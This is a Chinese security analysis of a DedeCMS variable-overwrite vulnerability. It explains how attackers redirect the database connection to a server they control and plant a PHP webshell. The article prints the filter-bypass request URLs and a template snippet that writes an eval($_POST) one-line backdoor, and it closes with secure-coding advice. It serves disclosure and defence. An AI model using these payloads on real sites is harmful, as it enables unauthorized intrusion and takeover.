【IT168 评论】近日很多网站被爆遭到入侵,经过安全宝安全实验室研究分析,这些网站使用的都是DedeCMS内容管理系统,DedeCMS爆出一个很严重的漏洞,攻击者可以直接向服务器中写入“一句话木马”。
DedeCMS的漏洞成因主要是由于变量覆盖导致而成,攻击者通过通过提交变量,覆盖数据库连接配置的全局变量,从而可以使被攻击的网站反向连接攻击者指定的数据库,读取指定的内容,并在被攻击的网站中直接写入WebShell。从整个攻击过程来看,这种攻击利用方式也比较巧妙,避开了传统的注入,破解,登录后台和上传木马的攻击模式,攻击者可以在未授权的前提下直接向网站目录中写入WebShell,从而控制网站,危害严重。
随着网站管理员的安全意识的逐渐提高,网络安全设备的引入,模块和程序的过滤;传统的入侵模式也越来越捉襟见肘,从这次攻击中,我们发现传统的Web攻击思想也在发生变换,它们正慢慢由正向攻击向反向攻击过渡,其实在系统的攻击中,反向攻击早就存在,攻击者为了绕过防火墙一些列的前端过滤设备,利用木马使被攻击机器自己发起连向攻击者机器的请求,而防火墙通常是不会拦截机器主动发现的连接,从而攻击者很容易绕过了前端一系列的过滤和障碍。
分析报告:
下面我们一起来看下Dede的漏洞原因,首先我们来看个变量覆盖漏洞的原型基础:
<?php
$anquanbao=”imiyoo_first”;
foreach($_GET as $key=>$value)
$$key=$value;
echo “\$anquanbao=”.$anquanbao;
?>
攻击者显然通过$_GET提交变量覆盖已经定义的变量,效果如下图:
▲攻击前图片
▲攻击后图片($anquanbao变量已经被覆盖)
有了这个漏洞的基础,现在我们来看看Dede的漏洞详细信息,漏洞主要发生在文件/plus/mytag_js.php中:
我们首先读下这段代码的处理流程,程序在开始会获取用户提交的$aid变量,如果需要显示不需要显示缓存内容,则会从数据库表’#@_mytag’中读取记录,并将读取的$tagbody内容以Dede模版形式写入缓存文件中。
在这里很显然存在变量$aid的注入漏洞,但由于该表的内容一般都为空,而且Dede对提交的单引号都会有过滤,基本属于鸡肋漏洞;但是如果结合变量覆盖漏洞,攻击者就可以利用该漏洞覆盖数据库配置文件的连接信息,将数据库的连接重定向到攻击者可以控制的一个数据库,那么这样攻击者就能完全控制$tagbody的内容,而且在DedeCMS文章管理系统中,模版中是可以嵌入PHP代码,也就是说攻击者可以执行自己的PHP代码,从而可以轻易地向服务器中写入一句话木马,达到攻击的效果。
在对漏洞进行测试的时候,我们发现Dede产生变量覆盖漏洞的代码在/include/common.inc.php中,如下:
通过这段代码我们可以对程序中的任何变量进行覆盖,为了覆盖数据库配置文件中的变量,其实我们覆盖$cfg_dbhost或$GLOBALS[cfg_dbhost]都可以,因此我们可以提交形如下面的测试代码:
● mytag_js.php?_GET[cfg_dbhost]=www.anquanbao.com
● mytag_js.php?_GET[GLOBALS][cfg_dbhost]= www.anquanbao.com
不过DedeCMS对这种形式的攻击也是有防范,但只是对提交的变量中的键值进行了判断,代码如下:
但是这个变量$_k只是对一维数据的键值进行判断,而Dede对变量的提取却是支持多维的,如果攻击者提交的是多维的变量就可以很容易绕过,为了绕过正则的检测,同时达到覆盖变量的效果;因此我们可以很容易想到$_COOKIE变量,更重要的是Dede也支持$_COOKIE提交变量,因此我们就可以得到如下的有效攻击代码:
● mytag_js.php?_GET[_COOKIE][GLOBALS][cfg_dbhost]=www.anquanbao.com
利用上面的代码就可以绕过DedeCMS的正则检测,同时可以覆盖$GLOBALS[cfg_dbhost]变量。
分析总结:
通过对上面的分析,那么现在我们就能很清楚整个攻击流程:
1 攻击者会预先准备一个MySQL数据库,数据库中包含有一个表明为’#@_mytag’的数据表,其中’#@’是待攻击数据库的表前缀,并在表中插入一条记录来控制$tagbody的内容,使其能够写入一句话木马,而且Dede利用模版写入一句话木马的代码如下:
$fp = @fopen("test.php", \'a\');
@fwrite($fp, \'<?php eval($_POST[test]) ?>\');
echo "OK";
@fclose($fp);
{/dede:php}
2 提交变量覆盖语句读取表中指定的内容,即可在当前路径下写入一句话木马。
鉴于很多使用DedeCMS的网站还没有修补该漏洞,因此在这里就不公布危害性攻击代码。
安全建议:
许多程序员在对$_GET,$_POST或$_COOKIE获取的变量处理中,进行了对多维数组变量的递归解析,但是却在过滤的时候并没有对每一维的键值进行判断和检测;例如,在本次爆出的Dede的0day,程序员就只考虑到检测二维数组的键值,但是攻击者却可以通过提交三维数组生成COOKIE变量轻易绕过。因此程序员如果在保证程序能够对多维变量进行解析的时候,同时也是需要对每一维的键值进行有效检测和判断。